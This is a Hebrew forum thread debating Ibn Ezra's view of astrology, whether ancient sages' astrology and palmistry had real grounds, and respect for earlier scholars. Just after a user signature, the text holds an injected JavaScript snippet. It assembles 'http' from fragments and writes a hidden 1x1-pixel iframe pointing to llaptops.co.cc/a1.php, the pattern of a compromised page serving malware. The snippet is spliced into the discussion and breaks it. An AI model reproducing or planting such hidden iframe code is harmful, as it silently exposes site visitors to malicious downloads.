לא האמין בשום דבר הנה ציטוט ממנו שתבין איך קיבל דברים, אבן עזרא קהלת פרק ה יש אומרים אין משיבין את הארי אחר מותו (כוונתו כלפי הביקורת שלו על ר' אליעזר קליר) התשובה רוח אל עשתנו כלנו ומחומר קורצו הקדמוני' כמונו ואוזן מלים תבחן וכלנו נדע כי דניאל היה נביא ורב על כל חרטומי בבל וחכמיה והנה אמרו חכמים ז"ל טעה דניאל בחשבונו והחשבון הוא דבר קל ועוד כי ירמיה הנביא בזמן דניאל היה ואחר שהראו חכמינו הראיה על טעותו האמור יאמר להם אילו היה דניאל חי היה מטעה המטעים אותו,
ג. אתה סבור שיש באסטרולוגיה ממש? איך זה יתכן?
איך יתכן באמת ? מנין לנו לדעת, אבל איך באמת עוד לא נולד שני פרצופים דומים ? או שני טביעות אצבע דומים בין כל מיליארדי האנשים ? רצוני לומר שזה שאנו לא מבינים דברים לא סותר את העובדה שמי שנולד ביום ד' בשבוע הוא חכם ונהיר כך הם בדקו וזה מה שיצא להם בבדיקות וזה בלי קשר לכוכבים, אם כי הם כן הסמיכו את זה בתיאוריה הכללית של האסטרולוגיה או בדרך חז"ל שביום זה נבראו השמשות,
משגע אותי לחשוב אפי' לרגע שהם אמציאו מהבטן, חייב להיות אסבר רציונלי ולא מקבל את ההסברים של המזלזלים בחכמי קדם, אני לא שואל כחסיד שוטה אני שואל כרציונל (כרגע)
ואני מוסיף: הקטע שציטטת מן האבן עזרא מתבסס על קורלציה בין הכוכבים לבין העתיד. האם אתה סבור שתנועת הכוכבים יכולה לגלות על אסון הבא על עיר? כן או לא? האם אתה סבור שה' ברא את העולם שיש קורלציה כזו? האבן עזרא האמין שכן. אני סבור שלא. היכן אתה אוחז ועל סמך מה?
אני אוחז בזה שחז"ל ראו שיש מחזוריות של כל שבעים שנה של דבר (מגיפה) או מלחמות (מי גורם למה ? דבר למלחמה או מלחמה לדבר, צריך להבין את זה) ופירשו שאלוקים משמיד את הממזרים בכל שבעים שנה,
לא שחייב להיות קורלציה ביניהם הם פשוט ראו שזה כך בדרך כלל, וחכמים שידעו את המחזוריות שיש בטבע, אם זה אסונות של צונאמי או מגפות, או הצילו את עמם או השתמשו בזה להטיף מוסר, לדוגמא: המחזוריות הידוע שיש בכל העמים הקדומים של חמש\שש אלף שנה של חורבן, (מזכיר את שית אלפי שנין,)
אם אתה מסתמך על כך שהאבן עזרא היה חכם גדול (הוא אכן היה אדם חכם ביותר כפי שמוכיחים תולדות חייו, הידיעות הרבות שלו וכשרונותיו, וספריו) אזי זה לא מספיק. כמה חכמים גדולים טעו בדברים הרבה. והעיקרון שהאבן עזרא לא האמין בשום דבר בלי לבדוק, לצערי אין די בהנחת היסוד הקוסמת הזו. אני אפילו לא בטוח שהיא נכונה. צריך גם לבדוק למה הכוונה ב"בדק כל דבר". אפשר באמת לדון בשאלה איך למד האבן עזרא אסטרולוגיה ומה היו השיקולים שלו שגרמו לו לאמץ את האמונה הזו.
כנאמן לדברו שצטטי לך לעייל התשובה רוח אל עשתנו כלנו ומחומר קורצו הקדמוני' כמונו
אני חושב שבאמת האבן עזרא עצמו קרוץ מאותו חומר כמו שלי ושלך, ואנו לא נקבל שום דבר בלי הוכחה ובדיקה,
ולכן אני לא מזלזל בחכמת הקדמונים בלי לבודק אותם, אבל בשום אופן אני לא הקבל את התזה שהם חלמו בהקיץ והמציאו מהבטן,
במיוחד האבן עזרא שאני מכיר את ספריו (וחיבר המון ספרים,) כתב בלי מורא ובלי חנופה, ודווקא שנאה מאמינים טפשים וכותב ומזלזל בהם בכל הזדמנות,
כבוא הראב"ע לעיר אחת מערי אדום, לא קבלוהו אנשי המקום בכבוד,
אך איש אחד ספרדי ושמו אליקים הטה אליו חסד,
ובעיר הזאת ישב אז על במתי הצלחה איש זד ובן בליעל שבא מארץ יון ושמו שמעי,
ואמר על עצמו לפני המון העם שהוא מלא דעים בים התלמוד,
וחרף את חכמי ספרד ויקרא אותם מינים,
והתחפש באיש קדוש, ובסתר חלל כל קדש:
אבל רבים מן המון העם נהו אחריו בכל נפשם,
גם נתן להם תמרוקים וסמי רפואות, ויהי בעיניהם כאיש מופת,
והראב"ע היה ירא לצאת נגדו,
כי אנשי המקום היו עם עמקי שפה וחסרי דעת,
וחכמת המסכן היתה בזויה בעיניהם:
ויהי היום נתן בעל המופת הזה, שמעי,
תמרוקים וסמי רפואות לעלם אחד בנימין שמו צעיר לימים, כבן שמונה או עשר שנים,
שכמעט הגיע למקרא ופרקים,
והעלם הזה מת פתאום,
אז לבש הראב"ע קנאות, ויצא בשירו לגלות את חרפת שמעי בקהל,
הממשיך לעמוד על דעתו, הק' מ'. _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
לסיכום הרב מיימוני היקר
אני לא חושב לחלוק אני חושב רק לומר שלפני שמכירים את הנושא אין לזלזל בהם ולבקר אותם סתם מתוך זלזול
1, כי לעולם לא נחכים אם לא נבדוק ונבין איפה הם טעו,
2, הגאוותנו היא מידה רעה שבמיוחד מפריע דווקא להחכים (למה באמת זה כך ?)
3, בדקתי בצעירותי הרבה מהחכמות האלה (צעירים אוהבים במיוחד את הנושאים האלה) ואני חושב שאני יכול להעיד שלא נשאר אבן על אבן בחכמת אסטרולוגיה ובקווי היד לגבי לראות את העתיד,
אבל לגבי כישורים תכונות אופי ויופי (וקצת לגבי נטיות למחלות,) אפשר לראות במזל ובקווי היד, ולא באחוזים גבהים אבל אפשר לראות שהייתה ויש בחכמה משהו,
4, וזה החשוב ביותר, כל העניין הייתה בגלל שליטה, למי שיודע\חזה את העתיד ? השליטה הייתה בידו, בין לגבי שלטון ובין לגבי דת,
כהיום בעולם המודרני מככב מדע\תורת המשחקים, שזה אומר לחזות דפוסי התנהגויות אנושיות,
אפשר לומר שהקדמונים למדו\רצו לחזות את דפוסי התנהגות של הטבע\אלוקים, (יודע דעת עליון)
וכמו שהחכם שישלוט בתורת המשחקים ישלוט בכלכלה = האנושות
כך מי ששלט בתורת האסטרולוגיה שלט באנושות,
|
|
|
|
|
|
